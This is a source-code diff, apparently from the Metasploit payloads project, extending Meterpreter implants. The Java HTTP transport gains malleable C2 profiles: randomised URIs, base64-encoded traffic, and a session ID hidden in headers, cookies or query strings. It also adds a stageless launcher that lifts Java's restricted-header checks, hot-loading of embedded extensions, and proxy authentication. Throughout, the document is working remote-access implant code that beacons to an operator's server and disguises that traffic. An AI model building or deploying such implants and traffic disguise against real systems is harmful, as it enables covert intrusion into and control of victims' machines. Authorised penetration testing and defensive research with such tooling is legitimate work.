@@ -1097,7 +1148,11 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options)
dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix);
dprintf("[HTTP OPTION] - %s - Prefix Skip: %u", type, options->payload_prefix_skip);
dprintf("[HTTP OPTION] - %s - Suffix Skip: %u", type, options->payload_suffix_skip);
- dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri);
+ dprintf("[HTTP OPTION] - %s - URI count: %u", type, options->uri_count);
+ for (UINT i = 0; i < options->uri_count; ++i)
+ {
+ dprintf("[HTTP OPTION] - %s - URI[%u]: %S", type, i, options->uris[i]);
+ }
dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie);
dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get);
dprintf("[HTTP OPTION] - %s - UUID Header: %S", type, options->uuid_header);
diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c
index d3b8b5953..63b73e7ed 100644
--- a/c/meterpreter/source/metsrv/server_transport_wininet.c
+++ b/c/meterpreter/source/metsrv/server_transport_wininet.c
@@ -264,10 +264,9 @@ static DWORD server_init_wininet(Transport* transport)
dprintf("[DISPATCH] About to crack URL: %S", transport->url);
InternetCrackUrl(transport->url, 0, 0, &bits);
- SAFE_FREE(ctx->default_options.uri);
- ctx->default_options.uri = _wcsdup(tmpUrlPath);
+ http_options_set_single_uri(&ctx->default_options, tmpUrlPath);
- dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri);
+ dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort);
diff --git a/java/Makefile b/java/Makefile
index 21021f485..2e0a1b5b4 100644
--- a/java/Makefile
+++ b/java/Makefile
@@ -2,6 +2,8 @@ ADB=${ANDROID_HOME}/platform-tools/adb
ANDROID=${ANDROID_HOME}/tools/android
PACKAGE=com.metasploit.stage
+DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest
+
all: android
android:
@@ -10,6 +12,14 @@ android:
java:
mvn package
+# Build the Java Meterpreter inside the official build container (no local
+# JDK/Maven required). Only the metasploit-payloads checkout is mounted, and
+# build artifacts are chowned back to the invoking user. The resulting jars
+# land in meterpreter/meterpreter/target and meterpreter/stdapi/target.
+docker:
+ docker run --rm -v "$(CURDIR)/..":/mp -w /mp/java $(DOCKER_CONTAINER) \
+ bash -c "mvn -q package; rc=$$?; chown -R $(shell id -u):$(shell id -g) /mp/java; exit $$rc"
+
clean:
mvn clean -Dandroid.sdk.path=/
diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
index f703aeab4..5aeaf9d2a 100644
--- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
+++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
@@ -11,6 +11,7 @@
import com.metasploit.meterpreter.stdapi.*;
import com.metasploit.stage.Config;
+import com.metasploit.stage.ConfigParser;
import java.io.DataInputStream;
import java.io.File;
@@ -80,7 +81,9 @@ public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Object[] para
writeableDir = (String)parameters[0];
byte[] config = (byte[]) parameters[1];
- boolean stageless = (config != null && (config[0] & Config.FLAG_STAGELESS) != 0);
+ Config parsedConfig = (config != null) ? ConfigParser.parseConfig(config) : null;
+ boolean stageless = (parsedConfig != null
+ && (parsedConfig.flags & Config.FLAG_STAGELESS) != 0);
if (stageless) {
loadConfiguration(in, rawOut, config);
diff --git a/java/meterpreter/meterpreter/pom.xml b/java/meterpreter/meterpreter/pom.xml
index 3bdc43660..c13249d57 100644
--- a/java/meterpreter/meterpreter/pom.xml
+++ b/java/meterpreter/meterpreter/pom.xml
@@ -43,6 +43,12 @@
com.metasploit:Metasploit-Java-Shared
+
+
+
+ com.metasploit.meterpreter.StagelessMain
+
+
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java
index 87f3add09..5fa536f60 100644
--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java
@@ -3,21 +3,30 @@
import com.metasploit.TLVPacket;
import com.metasploit.TLVType;
import com.metasploit.meterpreter.command.Command;
+import com.metasploit.stage.C2VerbConfig;
import com.metasploit.stage.HttpConnection;
import com.metasploit.stage.PayloadTrustManager;
import com.metasploit.stage.TransportConfig;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
+import java.net.InetSocketAddress;
import java.net.MalformedURLException;
+import java.net.Proxy;
import java.net.URL;
import java.net.URLConnection;
public class HttpTransport extends Transport {
+ private static final int C2_ENCODING_NONE = 0;
+ private static final int C2_ENCODING_B64 = 1;
+ private static final int C2_ENCODING_B64URL = 2;
+
private URL targetUrl = null;
private URL nextUrl = null;
private String userAgent;
@@ -26,6 +35,9 @@ public class HttpTransport extends Transport {
private String proxyPass;
private String customHeaders;
private byte[] certHash;
+ private String c2Uuid;
+ private C2VerbConfig c2Get;
+ private C2VerbConfig c2Post;
public HttpTransport(Meterpreter met, String url) throws MalformedURLException {
super(met, url);
@@ -40,6 +52,9 @@ public HttpTransport(Meterpreter met, String url, TransportConfig transportConfi
proxyPass = transportConfig.proxy_pass;
certHash = transportConfig.cert_hash;
customHeaders = transportConfig.custom_headers;
+ c2Uuid = transportConfig.c2_uuid;
+ c2Get = transportConfig.c2Get;
+ c2Post = transportConfig.c2Post;
setTimeouts(transportConfig);
}
@@ -50,6 +65,11 @@ public void bind(DataInputStream in, OutputStream rawOut) {
@Override
public boolean patchUuid(String uuid) {
+ // MC2 mode: only swap the UUID; the profile rebuilds the URL.
+ this.c2Uuid = uuid;
+ if (this.c2Get != null || this.c2Post != null) {
+ return true;
+ }
try {
// can't use getAuthority() here thanks to java 1.2. Ugh.
String newUrl = this.targetUrl.getProtocol() + "://"
@@ -64,6 +84,10 @@ public boolean patchUuid(String uuid) {
}
}
+ public void setC2Uuid(String c2Uuid) {
+ this.c2Uuid = c2Uuid;
+ }
+
public String getUserAgent() {
return this.userAgent;
}
@@ -108,13 +132,33 @@ public String getCustomHeaders() {
return this.customHeaders;
}
+ public void setCustomHeaders(String customHeaders) {
+ this.customHeaders = customHeaders;
+ }
+
+ public C2VerbConfig getC2Get() {
+ return this.c2Get;
+ }
+
+ public void setC2Get(C2VerbConfig c2Get) {
+ this.c2Get = c2Get;
+ }
+
+ public C2VerbConfig getC2Post() {
+ return this.c2Post;
+ }
+
+ public void setC2Post(C2VerbConfig c2Post) {
+ this.c2Post = c2Post;
+ }
+
@Override
public void disconnect() {
}
@Override
protected boolean tryConnect(Meterpreter met) throws IOException {
- URLConnection conn = this.createConnection();
+ URLConnection conn = this.createGetConnection();
if (conn == null) {
return false;
@@ -123,9 +167,17 @@ protected boolean tryConnect(Meterpreter met) throws IOException {
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
- TLVPacket request = this.readAndDecodePacket(inputStream);
+ byte[] rawResponse = readAllBytes(inputStream);
inputStream.close();
+ byte[] decoded = decodeResponse(rawResponse, this.c2Get);
+ if (decoded.length == 0) {
+ // reconnect scenario - empty response
+ return true;
+ }
+
+ TLVPacket request = this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded)));
+
// things are looking good, handle the packet and return true, as this
// is the situation that happens on initial connect (not reconnect)
TLVPacket response = request.createResponse();
@@ -150,7 +202,7 @@ protected boolean tryConnect(Meterpreter met) throws IOException {
@Override
public TLVPacket readPacket() throws IOException {
- URLConnection conn = this.createConnection();
+ URLConnection conn = this.createGetConnection();
if (conn == null) {
return null;
@@ -159,9 +211,15 @@ public TLVPacket readPacket() throws IOException {
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
- TLVPacket request = this.readAndDecodePacket(inputStream);
+ byte[] rawResponse = readAllBytes(inputStream);
inputStream.close();
- return request;
+
+ byte[] decoded = decodeResponse(rawResponse, this.c2Get);
+ if (decoded.length == 0) {
+ return null;
+ }
+
+ return this.readAndDecodePacket(new DataInputStream(new ByteArrayInputStream(decoded)));
}
catch (EOFException ignored) {
}
@@ -171,7 +229,15 @@ public TLVPacket readPacket() throws IOException {
@Override
public void writePacket(TLVPacket packet, int type) throws IOException {
- URLConnection conn = this.createConnection();
+ // Encode the packet to raw bytes first
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ DataOutputStream tempOut = new DataOutputStream(baos);
+ this.encodePacketAndWrite(packet, type, tempOut);
+ byte[] packetBytes = baos.toByteArray();
+
+ byte[] body = encodeRequest(packetBytes, this.c2Post);
+
+ URLConnection conn = this.createPostConnection();
if (conn == null) {
return;
@@ -179,15 +245,14 @@ public void writePacket(TLVPacket packet, int type) throws IOException {
conn.setDoOutput(true);
DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream());
- this.encodePacketAndWrite(packet, type, outputStream);
+ outputStream.write(body);
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
- this.readAndDecodePacket(inputStream);
- // not really worried about the response, we just want to read a packet out of it
- // and move on
+ // read and discard the response
+ readAllBytes(inputStream);
inputStream.close();
}
catch (EOFException ex) {
@@ -250,28 +315,313 @@ private void useNextUrl() {
}
}
- private URLConnection createConnection() {
- URLConnection conn = null;
+ private String getUuidFromUrl() {
+ if (this.c2Uuid != null && this.c2Uuid.length() > 0) {
+ return this.c2Uuid;
+ }
+ String path = this.targetUrl.getPath();
+ if (path == null || path.length() <= 1) {
+ return "";
+ }
+ path = path.substring(1);
+ if (path.endsWith("/")) {
+ path = path.substring(0, path.length() - 1);
+ }
+ int lastSlash = path.lastIndexOf('/');
+ return (lastSlash >= 0) ? path.substring(lastSlash + 1) : path;
+ }
+
+ /**
+ * Apply the profile's UUID transform (encode + prepend + append) to the
+ * raw UUID before placement. Returns the rendered string, or "" for empty
+ * input.
+ */
+ private static String renderUuid(C2VerbConfig profile, String uuid) {
+ if (uuid == null || uuid.length() == 0) {
+ return "";
+ }
+ if (profile == null) {
+ return uuid;
+ }
+ byte[] encoded = c2Encode(uuid.getBytes(), profile.encUuid);
+ String body = new String(encoded); // base64/base64url output is ASCII
+ String prefix = profile.uuidPrefix != null ? profile.uuidPrefix : "";
+ String suffix = profile.uuidSuffix != null ? profile.uuidSuffix : "";
+ return prefix + body + suffix;
+ }
+ private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException {
+ if (profile == null || profile.uris == null || profile.uris.length == 0) {
+ return this.targetUrl;
+ }
+
+ String baseUrl = this.targetUrl.getProtocol() + "://"
+ + this.targetUrl.getHost() + ":"
+ + this.targetUrl.getPort();
+
+ // Pick one of the profile's candidate URIs at random per request.
+ String uri = profile.uris[(int)(Math.random() * profile.uris.length)];
+ if (!uri.startsWith("/")) {
+ uri = "/" + uri;
+ }
+
+ String fullUrl = baseUrl + uri;
+ String renderedUuid = renderUuid(profile, getUuidFromUrl());
+
+ if (profile.uuidGet != null) {
+ if (renderedUuid.length() > 0) {
+ String separator = fullUrl.indexOf('?') >= 0 ? "&" : "?";
+ fullUrl = fullUrl + separator + profile.uuidGet + "=" + renderedUuid;
+ }
+ } else if (profile.uuidHeader == null && profile.uuidCookie == null) {
+ // No param/header/cookie placement => carry the id in the URI path.
+ if (renderedUuid.length() > 0) {
+ if (fullUrl.endsWith("/")) {
+ fullUrl = fullUrl.substring(0, fullUrl.length() - 1);
+ }
+ fullUrl = fullUrl + "/" + renderedUuid;
+ }
+ }
+
+ return new URL(fullUrl);
+ }
+
+ private void applyProfileHeaders(URLConnection conn, C2VerbConfig profile) {
+ if (profile == null) {
+ return;
+ }
+ if (profile.uuidHeader != null) {
+ String uuid = renderUuid(profile, getUuidFromUrl());
+ if (uuid.length() > 0) {
+ conn.addRequestProperty(profile.uuidHeader, uuid);
+ }
+ }
+ if (profile.uuidCookie != null) {
+ String uuid = renderUuid(profile, getUuidFromUrl());
+ if (uuid.length() > 0) {
+ conn.addRequestProperty("Cookie", profile.uuidCookie + "=" + uuid);
+ }
+ }
+ }
+
+ private Proxy buildProxy() {
+ if (proxyUrl == null || proxyUrl.length() == 0) {
+ return null;
+ }
+ try {
+ URL p = new URL(proxyUrl);
+ int port = p.getPort();
+ if (port < 0) {
+ port = "https".equals(p.getProtocol()) ? 443 : 80;
+ }
+ return new Proxy(Proxy.Type.HTTP, new InetSocketAddress(p.getHost(), port));
+ }
+ catch (MalformedURLException ex) {
+ return null;
+ }
+ }
+
+ private void applyProxyAuth(URLConnection conn) {
+ if (proxyUser == null || proxyUser.length() == 0) {
+ return;
+ }
+ String pass = (proxyPass != null) ? proxyPass : "";
+ byte[] creds;
try {
- conn = this.targetUrl.openConnection();
+ creds = (proxyUser + ":" + pass).getBytes("US-ASCII");
+ } catch (java.io.UnsupportedEncodingException ex) {
+ creds = (proxyUser + ":" + pass).getBytes();
+ }
+ byte[] encoded = base64Encode(creds, B64_CHARS, true);
+ try {
+ conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded, "US-ASCII"));
+ } catch (java.io.UnsupportedEncodingException ex) {
+ conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded));
+ }
+ }
+
+ private URLConnection openConnection(URL url) throws IOException {
+ Proxy proxy = buildProxy();
+ return (proxy != null) ? url.openConnection(proxy) : url.openConnection();
+ }
+
+ private URLConnection createGetConnection() {
+ try {
+ URL url = buildProfileUrl(this.c2Get);
+ URLConnection conn = openConnection(url);
HttpConnection.addRequestHeaders(conn, customHeaders, userAgent);
+ applyProfileHeaders(conn, this.c2Get);
+ applyProxyAuth(conn);
- if (this.targetUrl.getProtocol().equals("https")) {
+ if (url.getProtocol().equals("https")) {
try {
PayloadTrustManager.useFor(conn, certHash);
} catch (Exception ex) {
- // perhaps log?
}
}
+ return conn;
}
catch (IOException ex) {
- if (conn != null) {
- conn = null;
+ return null;
+ }
+ }
+
+ private URLConnection createPostConnection() {
+ try {
+ URL url = buildProfileUrl(this.c2Post);
+ URLConnection conn = openConnection(url);
+ HttpConnection.addRequestHeaders(conn, customHeaders, userAgent);
+ applyProfileHeaders(conn, this.c2Post);
+ applyProxyAuth(conn);
+
+ if (url.getProtocol().equals("https")) {
+ try {
+ PayloadTrustManager.useFor(conn, certHash);
+ } catch (Exception ex) {
+ }
}
+ return conn;
+ }
+ catch (IOException ex) {
+ return null;
}
+ }
- return conn;
+ private static final char[] B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
+ private static final char[] B64URL_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".toCharArray();
+
+ private static byte[] base64Encode(byte[] data, char[] alphabet, boolean pad) {
+ int len = data.length;
+ int outLen = ((len + 2) / 3) * 4;
+ char[] out = new char[outLen];
+ int i = 0, j = 0;
+ while (i < len) {
+ int b0 = data[i++] & 0xFF;
+ int b1 = (i < len) ? (data[i++] & 0xFF) : 0;
+ int b2 = (i < len) ? (data[i++] & 0xFF) : 0;
+ int triplet = (b0 << 16) | (b1 << 8) | b2;
+ out[j++] = alphabet[(triplet >> 18) & 0x3F];
+ out[j++] = alphabet[(triplet >> 12) & 0x3F];
+ out[j++] = alphabet[(triplet >> 6) & 0x3F];
+ out[j++] = alphabet[triplet & 0x3F];
+ }
+ int padding = (3 - (len % 3)) % 3;
+ if (pad) {
+ for (int p = 0; p < padding; p++) {
+ out[outLen - 1 - p] = '=';
+ }
+ }
+ String result = new String(out, 0, pad ? outLen : outLen - padding);
+ try {
+ return result.getBytes("US-ASCII");
+ } catch (java.io.UnsupportedEncodingException e) {
+ return result.getBytes();
+ }
}
-}
+ private static byte[] base64Decode(byte[] data) {
+ // Build reverse lookup — works for both standard and URL-safe alphabets
+ int[] lookup = new int[128];
+ for (int i = 0; i < 128; i++) lookup[i] = -1;
+ for (int i = 0; i < B64_CHARS.length; i++) lookup[B64_CHARS[i]] = i;
+ lookup['-'] = 62;
+ lookup['_'] = 63;
+
+ // Strip padding and whitespace
+ int len = data.length;
+ while (len > 0 && (data[len - 1] == '=' || data[len - 1] == '\n' || data[len - 1] == '\r')) {
+ len--;
+ }
+
+ int outLen = (len * 3) / 4;
+ byte[] out = new byte[outLen];
+ int i = 0, j = 0;
+ while (i < len) {
+ int b0 = (i < len) ? lookup[data[i++] & 0x7F] : 0;
+ int b1 = (i < len) ? lookup[data[i++] & 0x7F] : 0;
+ int b2 = (i < len) ? lookup[data[i++] & 0x7F] : 0;
+ int b3 = (i < len) ? lookup[data[i++] & 0x7F] : 0;
+ int triplet = (b0 << 18) | (b1 << 12) | (b2 << 6) | b3;
+ if (j < outLen) out[j++] = (byte)((triplet >> 16) & 0xFF);
+ if (j < outLen) out[j++] = (byte)((triplet >> 8) & 0xFF);
+ if (j < outLen) out[j++] = (byte)(triplet & 0xFF);
+ }
+ return out;
+ }
+
+ private static byte[] c2Encode(byte[] data, int enc) {
+ if (enc == C2_ENCODING_B64) {
+ return base64Encode(data, B64_CHARS, true);
+ } else if (enc == C2_ENCODING_B64URL) {
+ return base64Encode(data, B64URL_CHARS, false);
+ }
+ return data;
+ }
+
+ private static byte[] c2Decode(byte[] data, int enc) {
+ if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) {
+ return base64Decode(data);
+ }
+ return data;
+ }
+
+ private static byte[] decodeResponse(byte[] rawResponse, C2VerbConfig profile) {
+ if (rawResponse == null || rawResponse.length == 0) {
+ return new byte[0];
+ }
+
+ if (profile == null) {
+ return rawResponse;
+ }
+
+ int start = profile.prefixSkip;
+ int end = rawResponse.length - profile.suffixSkip;
+ if (start >= end || start < 0 || end > rawResponse.length) {
+ return rawResponse;
+ }
+
+ byte[] stripped = new byte[end - start];
+ System.arraycopy(rawResponse, start, stripped, 0, stripped.length);
+
+ return c2Decode(stripped, profile.encInbound);
+ }
+
+ private static byte[] encodeRequest(byte[] data, C2VerbConfig profile) {
+ if (profile == null) {
+ return data;
+ }
+
+ byte[] encoded = c2Encode(data, profile.encOutbound);
+
+ byte[] prefix = profile.prefix;
+ byte[] suffix = profile.suffix;
+
+ if ((prefix == null || prefix.length == 0) && (suffix == null || suffix.length == 0)) {
+ return encoded;
+ }
+
+ int prefixLen = (prefix != null) ? prefix.length : 0;
+ int suffixLen = (suffix != null) ? suffix.length : 0;
+ byte[] result = new byte[prefixLen + encoded.length + suffixLen];
+
+ if (prefixLen > 0) {
+ System.arraycopy(prefix, 0, result, 0, prefixLen);
+ }
+ System.arraycopy(encoded, 0, result, prefixLen, encoded.length);
+ if (suffixLen > 0) {
+ System.arraycopy(suffix, 0, result, prefixLen + encoded.length, suffixLen);
+ }
+
+ return result;
+ }
+
+ private static byte[] readAllBytes(DataInputStream in) throws IOException {
+ ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+ byte[] chunk = new byte[4096];
+ int bytesRead;
+ while ((bytesRead = in.read(chunk)) != -1) {
+ buffer.write(chunk, 0, bytesRead);
+ }
+ return buffer.toByteArray();
+ }
+}
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
index edfc15c84..24687b7c7 100644
--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
@@ -3,6 +3,7 @@
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
@@ -43,15 +44,10 @@ public class Meterpreter {
private byte[] uuid;
private byte[] sessionGUID;
private long sessionExpiry;
+ private JarFileClassLoader extensionLoader;
protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException {
- byte[] configHandle = new byte[8];
- byte[] configPacket = new byte[configBlock.length - configHandle.length];
-
- System.arraycopy(configBlock, 0, configHandle, 0, configHandle.length);
- System.arraycopy(configBlock, configHandle.length, configPacket, 0, configPacket.length);
-
- Config config = ConfigParser.parseConfig(configPacket);
+ Config config = ConfigParser.parseConfig(configBlock);
if (config == null) {
return;
}
@@ -59,6 +55,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[]
this.uuid = config.uuid;
this.sessionGUID = config.session_guid;
+ if (config.debug_log != null && config.debug_log.length() > 0) {
+ try {
+ PrintStream debugStream = new PrintStream(new FileOutputStream(config.debug_log, true));
+ System.setErr(debugStream);
+ } catch (IOException ignored) {
+ // failed to open log file; carry on without debug logging
+ }
+ }
+
// here we need to loop through all the given transports, we know that we're
// going to get at least one.
for (TransportConfig transportConfig : config.transportConfigList) {
@@ -74,8 +79,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[]
this.transports.add(t);
}
- // we don't currently support extensions, so when we reach the end of the
- // list of transports we just bomb out.
+ // Hot-load extensions baked into the config block (EXTENSIONS=) so
+ // their commands are registered before the first C2 dispatch.
+ for (byte[] extData : config.extensions) {
+ try {
+ loadExtension(extData);
+ } catch (Throwable t) {
+ t.printStackTrace(System.err);
+ }
+ }
}
public byte[] getUUID() {
@@ -168,6 +180,32 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio
}
}
+ /**
+ * Initialize the meterpreter from an embedded config block. No upstream
+ * stream is consumed; transports open their own connections.
+ *
+ * @param configBlock Raw TLV configuration bytes
+ * @param loadExtensions Whether to load extension jars
+ * @param redirectErrors Whether to redirect errors to the internal buffer
+ */
+ public Meterpreter(byte[] configBlock, boolean loadExtensions, boolean redirectErrors) throws Exception {
+ this.loadExtensions = loadExtensions;
+ this.commandManager = new CommandManager();
+ this.channels.add(null);
+
+ if (redirectErrors) {
+ errBuffer = new ByteArrayOutputStream();
+ err = new PrintStream(errBuffer);
+ } else {
+ errBuffer = null;
+ err = System.err;
+ }
+
+ loadConfiguration(null, null, configBlock);
+ this.ignoreBlocks = 0;
+ startExecuting();
+ }
+
public TransportList getTransports() {
return this.transports;
}
@@ -301,7 +339,21 @@ public void writeRequestPacket(int commandId, TLVPacket tlv) throws IOException
public Integer[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
- JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader;
+ // Staged payloads bootstrap us through a JarFileClassLoader so
+ // this.getClass().getClassLoader() is already one. The stageless
+ // jar runs under the JVM's AppClassLoader, so create our own
+ // JarFileClassLoader on first load and reuse it across calls so
+ // previously-loaded extensions stay reachable.
+ JarFileClassLoader jarLoader;
+ if (classLoader instanceof JarFileClassLoader) {
+ jarLoader = (JarFileClassLoader) classLoader;
+ } else {
+ if (extensionLoader == null) {
+ extensionLoader = new JarFileClassLoader(classLoader);
+ }
+ jarLoader = extensionLoader;
+ classLoader = jarLoader;
+ }
jarLoader.addJarFile(data);
}
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java
new file mode 100644
index 000000000..dbbe1f692
--- /dev/null
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java
@@ -0,0 +1,38 @@
+package com.metasploit.meterpreter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.InputStream;
+
+/**
+ * Entry point for stageless Java meterpreter payloads. Reads the embedded
+ * TLV config block from a jar resource and hands it to the Meterpreter
+ * constructor; transports open their own connections from there.
+ */
+public class StagelessMain {
+
+ private static final String CONFIG_RESOURCE = "/META-INF/data";
+
+ public static void main(String[] args) throws Exception {
+ // Allow MC2 profiles to override restricted HTTP headers (Host,
+ // Connection, Content-Length, ...). Must run before any
+ // HttpURLConnection is touched so HttpURLConnection's static
+ // initializer reads this property.
+ System.setProperty("sun.net.http.allowRestrictedHeaders", "true");
+
+ InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE);
+ if (cfg == null) {
+ throw new RuntimeException("no embedded config block");
+ }
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ try {
+ byte[] chunk = new byte[4096];
+ int n;
+ while ((n = cfg.read(chunk)) != -1) {
+ buf.write(chunk, 0, n);
+ }
+ } finally {
+ cfg.close();
+ }
+ new Meterpreter(buf.toByteArray(), true, true);
+ }
+}
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java
index d18d4411b..575dc4f26 100644
--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java
@@ -7,6 +7,9 @@
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.command.Command;
+import com.metasploit.stage.C2VerbConfig;
+
+import java.util.List;
public class core_transport_add implements Command {
@@ -24,7 +27,13 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons
h.setProxyUrl(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL, ""));
h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, ""));
h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, ""));
+ h.setCustomHeaders(request.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""));
h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null));
+ h.setC2Uuid(request.getStringValue(TLVType.TLV_TYPE_C2_UUID, null));
+
+ // Parse C2 profile GET/POST sub-groups if present
+ h.setC2Get(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_GET));
+ h.setC2Post(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_POST));
t = h;
}
@@ -66,5 +75,33 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons
return ERROR_SUCCESS;
}
-}
+ private static C2VerbConfig parseC2VerbGroup(TLVPacket request, int groupType) {
+ TLVPacket verbGroup;
+ try {
+ verbGroup = (TLVPacket) request.getValue(groupType);
+ } catch (IllegalArgumentException e) {
+ return null;
+ }
+
+ C2VerbConfig config = new C2VerbConfig();
+ // A profile's `set uri` may list several candidate URIs, emitted as
+ // repeated TLV_TYPE_C2_URI values. Collect them all; the request
+ // builder picks one at random per request (Cobalt Strike semantics).
+ List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI);
+ config.uris = (String[]) uriValues.toArray(new String[0]);
+ config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0));
+ config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0));
+ config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0));
+ config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null);
+ config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null);
+ config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, "");
+ config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, "");
+ config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0));
+ config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0));
+ config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null);
+ config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null);
+ config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null);
+ return config;
+ }
+}
diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java
index 4d4c28e01..547ec9bf0 100644
--- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java
+++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java
@@ -88,13 +88,18 @@ public interface TLVType {
public static final int TLV_TYPE_C2_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 717; // Expected SSL certificate hash
public static final int TLV_TYPE_C2_PREFIX = TLVPacket.TLV_META_TYPE_RAW | 718; // Data to prepend to the outgoing payload
public static final int TLV_TYPE_C2_SUFFIX = TLVPacket.TLV_META_TYPE_RAW | 719; // Data to append to the outgoing payload
- public static final int TLV_TYPE_C2_ENC = TLVPacket.TLV_META_TYPE_UINT | 720; // Request encoding flags (Base64|URL|Base64url)
+ public static final int TLV_TYPE_C2_ENC_INBOUND = TLVPacket.TLV_META_TYPE_UINT | 720; // Server->client (response) body encoding
